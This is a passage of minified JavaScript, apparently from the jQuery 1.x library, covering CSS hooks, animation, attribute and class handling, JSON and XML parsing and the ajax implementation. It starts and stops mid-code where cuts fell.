this}}),it.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){it.fn[e]=function(e){for(var n,r=0,i=[],o=it(e),a=o.length-1;a>=r;r++)n=r===a?this:this.clone(!0),it(o[r])[t](n),K.apply(i,n.get());return this.pushStack(i)}});var Qt,Zt={};!function(){var e;nt.shrinkWrapBlocks=function(){if(null!=e)return e;e=!1;var t,n,r;return n=ht.getElementsByTagName("body")[0],n&&n.style?(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",t.appendChild(ht.createElement("div")).style.width="5px",e=3!==t.offsetWidth),n.removeChild(r),e):void 0}}();var en,tn,nn=/^margin/,rn=new RegExp("^("+Nt+")(?!px)[a-z%]+$","i"),on=/^(top|right|bottom|left)$/;e.getComputedStyle?(en=function(e){return e.ownerDocument.defaultView.getComputedStyle(e,null)},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n.getPropertyValue(t)||n[t]:void 0,n&&(""!==a||it.contains(e.ownerDocument,e)||(a=it.style(e,t)),rn.test(a)&&nn.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0===a?a:a+""}):ht.documentElement.currentStyle&&(en=function(e){return e.currentStyle},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),rn.test(a)&&!on.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"}),function(){function t(){var t,n,r,i;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),t.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",o=a=!1,l=!0,e.getComputedStyle&&(o="1%"!==(e.getComputedStyle(t,null)||{}).top,a="4px"===(e.getComputedStyle(t,null)||{width:"4px"}).width,i=t.appendChild(ht.createElement("div")),i.style.cssText=t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",t.style.width="1px",l=!parseFloat((e.getComputedStyle(i,null)||{}).marginRight)),t.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=t.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",s=0===i[0].offsetHeight,s&&(i[0].style.display="",i[1].style.display="none",s=0===i[0].offsetHeight),n.removeChild(r))}var n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var Dn=/[\t\r\n\f]/g;it.fn.extend({addClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u="string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):" ")){for(o=0;i=t[o++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=it.trim(r),n.className!==a&&(n.className=a)}return this},removeClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u=0===arguments.length||"string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):"")){for(o=0;i=t[o++];)for(;r.indexOf(" "+i+" ")>=0;)r=r.replace(" "+i+" "," ");a=e?it.trim(r):"",n.className!==a&&(n.className=a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):this.each(it.isFunction(e)?function(n){it(this).toggleClass(e.call(this,n,this.className,t),t)}:function(){if("string"===n)for(var t,r=0,i=it(this),o=e.match(bt)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else(n===Et||"boolean"===n)&&(this.className&&it._data(this,"__className__",this.className),this.className=this.className||e===!1?"":it._data(this,"__className__")||"")})},hasClass:function(e){for(var t=" "+e+" ",n=0,r=this.length;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(Dn," ").indexOf(t)>=0)return!0;return!1}}),it.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){it.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),it.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var Ln=it.now(),Hn=/\?/,_n=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;it.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=it.trim(t+"");return i&&!it.trim(i.replace(_n,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():it.error("Invalid JSON: "+t)},it.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new DOMParser,n=r.parseFromString(t,"text/xml")):(n=new ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||it.error("Invalid XML: "+t),n};var qn,Fn,Mn=/#.*$/,On=/([?&])_=[^&]*/,Rn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Bn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Pn=/^(?:GET|HEAD)$/,In=/^\/\//,Wn=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,$n={},zn={},Xn="*/".concat("*");try{Fn=location.href}catch(Un){Fn=ht.createElement("a"),Fn.href="",Fn=Fn.href}qn=Wn.exec(Fn.toLowerCase())||[],it.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Fn,type:"GET",isLocal:Bn.test(qn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Xn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":it.parseJSON,"text xml":it.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?I(I(e,it.ajaxSettings),t):I(it.ajaxSettings,e)},ajaxPrefilter:B($n),ajaxTransport:B(zn),ajax:function(e,t){function n(e,t,n,r){var i,c,v,y,x,T=t;2!==b&&(b=2,s&&clearTimeout(s),u=void 0,a=r||"",w.readyState=e>0?4:0,i=e>=200&&300>e||304===e,n&&(y=W(d,w,n)),y=$(d,y,w,i),i?(d.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(it.lastModified[o]=x),x=w.getResponseHeader("etag"),x&&(it.etag[o]=x)),204===e||"HEAD"===d.type?T="nocontent":304===e?T="notmodified":(T=y.state,c=y.data,v=y.error,i=!v)):(v=T,(e||!T)&&(T="error",0>e&&(e=0))),w.status=e,w.statusText=(t||T)+"",i?h.resolveWith(f,[c,T,w]):h.rejectWith(f,[w,T,v]),w.statusCode(g),g=void 0,l&&p.trigger(i?"ajaxSuccess":"ajaxError",[w,d,i?c:v]),m.fireWith(f,[w,T]),l&&(p.trigger("ajaxComplete",[w,d]),--it.active||it.event.trigger("ajaxStop")))}"object"==typeof e&&(t=e,e=void 0),t=t||{};var r,i,o,a,s,l,u,c,d=it.ajaxSetup({},t),f=d.context||d,p=d.context&&(f.nodeType||f.jquery)?it(f):it.event,h=it.Deferred(),m=it.Callbacks("once memory"),g=d.statusCode||{},v={},y={},b=0,x="canceled",w={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c)for(c={};t=Rn.exec(a);)c[t[1].toLowerCase()]=t[2];t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=y[n]=y[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)g[t]=[g[t],e[t]];else w.always(e[w.status]);return this},abort:function(e){var t=e||x;return u&&u.abort(t),n(0,t),this}};if(h.promise(w).complete=m.add,w.success=w.done,w.error=w.fail,d.url=((e||d.url||Fn)+"").replace(Mn,"").replace(In,qn[1]+"//"),d.type=t.method||t.type||d.method||d.type,d.dataTypes=it.trim(d.dataType||"*").toLowerCase().match(bt)||[""],null==d.crossDomain&&(r=Wn.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]===qn[1]&&r[2]===qn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(qn[3]||("http:"===qn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=it.param(d.data,d.traditional)),P($n,d,t,w),2===b)return w;l=d.global,l&&0===it.active++&&it.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Pn.test(d.type),o=d.url,d.hasContent||(d.data&&(o=d.url+=(Hn.test(o)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=On.test(o)?o.replace(On,"$1_="+Ln++):o+(Hn.test(o)?"&":"?")+"_="+Ln++)),d.ifModified&&(it.lastModified[o]&&w.setRequestHeader("If-Modified-Since",it.lastModified[o]),it.etag[o]&&w.setRequestHeader("If-None-Match",it.etag[o])),(d.data&&d.hasContent&&d.contentType!==!1||t.contentType)&&w.setRequestHeader("Content-Type",d.contentType),w.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Xn+"; q=0.01":""):d.accepts["*"]);for(i in d.headers)w.setRequestHeader(i,d.headers[i]);if(d.beforeSend&&(d.beforeSend.call(f,w,d)===!1||2===b))return w.abort();x="abort";for(i in{success:1,error:1,complete:1})w[i](d[i]);if(u=P(zn,d,t,w)){w.readyState=1,l&&p.trigger("ajaxSend",[w,d]),d.async&&d.timeout>0&&(s=setTimeout(function(){w.abort("timeout")},d.timeout));try{b=1,u.send(v,n)}catch(T){if(!(2>b))throw T;n(-1,T)}}else n(-1,"No Transport");return w},getJSON:function(e,t,n){return it.get(e,t,n,"json")},getScript:function(e,t){return it.get(e,void 0,t,"script")}}),it.each(["get","post"],function(e,t){it[t]=function(e,n,r,i){return it.isFunction(n)&&(i=i||r,r=n,n=void 0),it.ajax({url:e,type:t,dataType:i,data:n,success:r})}}),it.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){it.fn[t]=function(e){return this.on(t,e)}}),it._evalUrl=function(e){return it.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},it.fn.extend({wrapAll:function(e){if(it.isFunction(e))return this.each(function(t){it(this).wrapAll(e.call(this,t))});if(this[0]){var t=it(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return this.each(it.isFunction(e)?function(t){it(this).wrapInner(e.call(this,t))}:function(){var t=it(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=it.isFunction(e);return this.each(function(n){it(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){it.nodeName(this,"body")||it(this).replaceWith(this.childNodes)}).end()}}),it.expr.filters.hidden=function(e){return e.offsetWidth<=0&&e.offsetHeight<=0||!nt.reliableHiddenOffsets()&&"none"===(e.style&&e.style.display||it.css(e,"display"))},it.expr.filters.visible=function(e){return!it.expr.filters.hidden(e)};var Vn=/%20/g,Gn=/\[\]$/,Yn=/\r?\n/g,Jn=/^(?:submit|button|image|reset|file)$/i,Kn=/^(?:input|select|textarea|keygen)/i;it.param=function(e,t){var n,r=[],i=function(e,t){t=it.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 